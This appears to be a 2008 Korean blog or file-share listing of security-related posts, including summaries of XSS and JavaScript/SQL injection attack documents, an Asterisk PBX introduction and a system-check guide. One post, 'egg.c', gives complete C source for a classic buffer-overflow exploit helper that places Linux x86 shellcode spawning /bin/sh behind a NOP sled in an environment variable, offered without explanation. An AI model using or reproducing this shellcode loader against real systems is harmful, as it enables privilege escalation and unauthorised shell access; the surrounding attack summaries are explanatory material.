asterisk란, PBX(구내 전화 교환기)를 실현하기 위한 소프트웨어입니다. Linux상에서 움직이는 open source의 소프트이므로, 무료로 인스톨 할 수 있습니다. 전 5회의 예정으로 Asterisk를 소개합니다. 제5회까지 읽어 주시면, asterisk란 무엇인가, 무엇이 가능해 무엇을 할 수 없는 것인지 어느 정도 감을 잡아준다고 생각합니다

...

XSS공격

PigBaby — Fri, 25 Apr 2008 11:01:38 GMT

XXS_attack.pdf

대부분의 인터넷 기업들은 수많은 개인 정보를 가지고 있으며, 각 업체가 가지고 있는 개인 정보의 보안 여부는 그 업체의 신뢰도를 평가하는 중요한 요소가 된다. 개인의 입장에서 볼 때 어떤 업체든 그 업체가 가지고 있는 개인 정보가 유출되는 것은 결코 달갑지 않은 일이다. 혹시 유출된 자신의 개인 정보가 악용될 경우 심각한 일이 벌어질 수도 있기 때문이다. 이렇듯 사회적으로 중요한 문제가 되고 있는 개인 정보 유출은 앞에서 살펴본 SQL 삽입 공격처럼 공격자가 데이터베이스에 직접 접근하는 방식을 이용할 수도 있지만, XSS(Cross Site Scripting : 크로스 사이트 스크립팅)와 같은 방식을 이용할 수도 있다. XSS는 SQL 삽입 공격처럼 대량의 개인 정보를 수집하지는 못하지만, 특정 대상을 목표로 공격을 수행할 수 있다. 우리나라의 웹 사이트들은 대부분 이 XSS 공격에 취약하다. XSS를 통해 공격할 수 있는 부분이 너무 많기 때문이다. 게다가 여러분이 웹 서핑을 하는 동안에도 여러분이 미처 깨닫기 전에 이 XSS 공격에 노출될 수 있다.
이 장에서는 XSS 공격 기법을 알아봄으로써 어떻게 개인 정보가 유출되는지, 그리고 그에 대한 대응책에는 어떤 것들이 있는지 알아본다.

C에서 어셈블러사용하기

PigBaby — Fri, 25 Apr 2008 11:00:42 GMT

use_assem_in_c.pdf

JAVASCRIPT attack

PigBaby — Fri, 25 Apr 2008 10:59:27 GMT

javascript_attack.pdf

이 문서는 FORM을 이용한 공격 그리고 SQL 인젝션 공격, 쿠키에 대하여 서술해놓았으며 hector
(lezr.com) hict0r@hotmail.com 님의 글을 참조하여 만든내용입니다

....

egg.c

PigBaby — Fri, 25 Apr 2008 10:55:47 GMT

#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] = "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
         __asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
        char *buff, *ptr, *egg;
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int i, eggsize=DEFAULT_EGG_SIZE;
        if (argc > 1) bsize = atoi(argv[1]);
        if (argc > 2) offset= atoi(argv[2]);
        if (argc > 3) eggsize = atoi(argv[3]);

        if (!(buff = malloc(bsize))) {
                printf("Can't allocate memory.\n");
                exit(0);
        }
        if (!(egg = malloc(eggsize))) {
                printf("Can't allocate memory.\n");
                exit(0);
        }
        addr = get_esp() - offset;
        printf("Using address: 0x%x\n", addr);
        ptr = buff;
        addr_ptr = (long *)ptr;
        for (i = 0; i < bsize; i+=4) {
                if(i == 1040) {
                        *(addr_ptr++) = 0x1234567;
                } else {
                        *(addr_ptr++) = addr;
                }
        }

        ptr = egg;
        for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];
        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg,"EGG=",4);
        putenv(egg);
        memcpy(buff,"RET=",4);
        putenv(buff);
        system("/bin/bash");
}

SysAnalyzer

PigBaby — Fri, 25 Apr 2008 10:54:34 GMT

SysAnalyzer_Setup.exe
.

간단한 시스템 점검 방법

PigBaby — Fri, 25 Apr 2008 10:52:46 GMT

simple_system_check.pdf

본 글의 목적은 다소 높아가는 공격의 위험에서 시스템을 해킹 사고 이전이나 이후에 간단하게
점검할 수 있도록 참고하기 위해 만듭니다(본래의 “해킹”이란 단어는 나쁜 뜻이 아니지만, 대부분
해킹이라는 단어를 사용함으로 여기서도 해킹이라고 칭함)
기본적인 시스템에 대한 지식으로도 간단하게 점검하도록 하여, 사고 전에 미리 사전 점검으로
시스템의 보안성을 다소 높이거나, 사고 후 직접 사고 내용을 분석하여 신속한 사고 처리 및 차
후 사고에 대한 대비를 할 수 있도록 하면 좋겠습니다. 특별히 어려운 것 없이 할 수 있는 부분
이 대부분이므로, .도움이 되길 바랍니다. (이하 존칭 생략)
....